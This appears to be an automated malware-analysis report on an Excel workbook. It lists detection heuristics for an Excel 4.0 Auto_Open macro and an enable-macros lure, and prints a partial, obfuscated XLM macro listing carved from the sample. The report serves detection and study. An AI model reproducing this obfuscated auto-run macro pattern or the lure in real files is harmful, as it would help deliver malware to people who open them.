MALICIOUS
160
Risk Score
Heuristics 4
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 3329 bytes |
SHA-256: 5f8344cb7f8639f78e9cccd119ed3aaae5a7fc8b0157a7a3b7b0e74e1eeee3d0 |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - ljLg
' 0018 558 LABEL : Cell Value, String Constant - alVJ len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x11\x00\x00\x00\x00\x00'
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!I112
' 0018 30 LABEL : Cell Value, String Constant - bEwTxwJW len=7 ptgRef3d ljLg!E60
' 0018 26 LABEL : Cell Value, String Constant - DNdIGqWl len=3 ptgInt 0
' 0018 28 LABEL : Cell Value, String Constant - DsJXfq len=7 ptgRef3d ljLg!H60
' 0018 29 LABEL : Cell Value, String Constant - GwuRsKd len=7 ptgRef3d ljLg!I55
' 0018 30 LABEL : Cell Value, String Constant - HOGusSkC len=7 ptgRef3d ljLg!B42
' 0018 30 LABEL : Cell Value, String Constant - JLDxUXnx len=7 ptgRef3d ljLg!F57
' 0018 29 LABEL : Cell Value, String Constant - LVoEVAF len=7 ptgRef3d Sheet!I63
' 0018 23 LABEL : Cell Value, String Constant - mtnXbzsS len=0
' 0018 30 LABEL : Cell Value, String Constant - NUFGgUir len=7 ptgRef3d ljLg!G53
' 0018 27 LABEL : Cell Value, String Constant - RrUpn len=7 ptgRef3d ljLg!C55
' 0018 2043 LABEL : Cell Value, String Constant - SEPQG len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00%\x00\x00\x00\x00\x00'
' 0018 123 LABEL : Cell Value, String Constant - tAemxaW len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\t\x00\x00\x00\x00\x00'
' 0018 25 LABEL : Cell Value, String Constant - UwPIpTO len=3 ptgInt 0
' 0018 26 LABEL : Cell Value, String Constant - UyDl len=7 ptgRef3d ljLg!A48
' 0018 26 LABEL : Cell Value, String Constant - VMSH len=7 ptgRef3d ljLg!D60
' 0018 22 LABEL : Cell Value, String Constant - XpFQ len=3 ptgInt 0
' 0018 30 LABEL : Cell Value, String Constant - YVQEdGyq len=7 ptgRef3d ljLg!J55
' 0018 23 LABEL : Cell Value, String Constant - zAyVN len=3 ptgInt 0
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
' Sheet,B41,"SUM(2,3)",""
' Sheet,B42,ROWS(tAemxaW),""
' Sheet,A47,"SUM(2,3)",""
' Sheet,A48,ROWS(alVJ),""
' Sheet,G52,"SUM(2,3)",""
' Sheet,G53,tAemxaW,""
' Sheet,C54,"SUM(2,3)",""
' Sheet,I54,"SUM(2,3)",""
' Sheet,J54,"SUM(2,3)",""
' Sheet,C55,alVJ,""
' Sheet,I55,[],""
' Sheet,J55,T(CHAR(GwuRsKd)),""
' Sheet,F56,"SUM(2,3)",""
' Sheet,F57,[],""
' Sheet,D59,"SUM(2,3)",""
' Sheet,E59,"SUM(2,3)",""
' Sheet,H59,"SUM(2,3)",""
' Sheet,D60,[],""
' Sheet,E60,[],""
' Sheet,H60,[],""
' ljLg,I65,"COUNT(1)+0+SUM(2,3)",""
' ljLg,I66,[],""
' ljLg,I69,"SET.VALUE(I95,"")",""
' ljLg,I74,"DNdIGqWl",""
' ljLg,I78,"DEFINE.NAME("zAyVN",0)",""
' ljLg,I80,[],""
' ljLg,I82,"zAyVN",""
' ljLg,I84,"['I95', 'I95']",""
' ljLg,I89,"XpFQ",""
' ljLg,I92,NEXT(),""
' ljLg,I98,"['I95', '"ljLgG!R"']",""
' ljLg,I102,"mtnXbzsS",""
' ljLg,I106,NEXT(),""
' ljLg,I110,RETURN(),""
' ljLg,I115,"DEFINE.NAME("mtnXbzsS",121)",""
' ljLg,I120,LVoEVAF(),""
' ljLg,I121,HALT(),""
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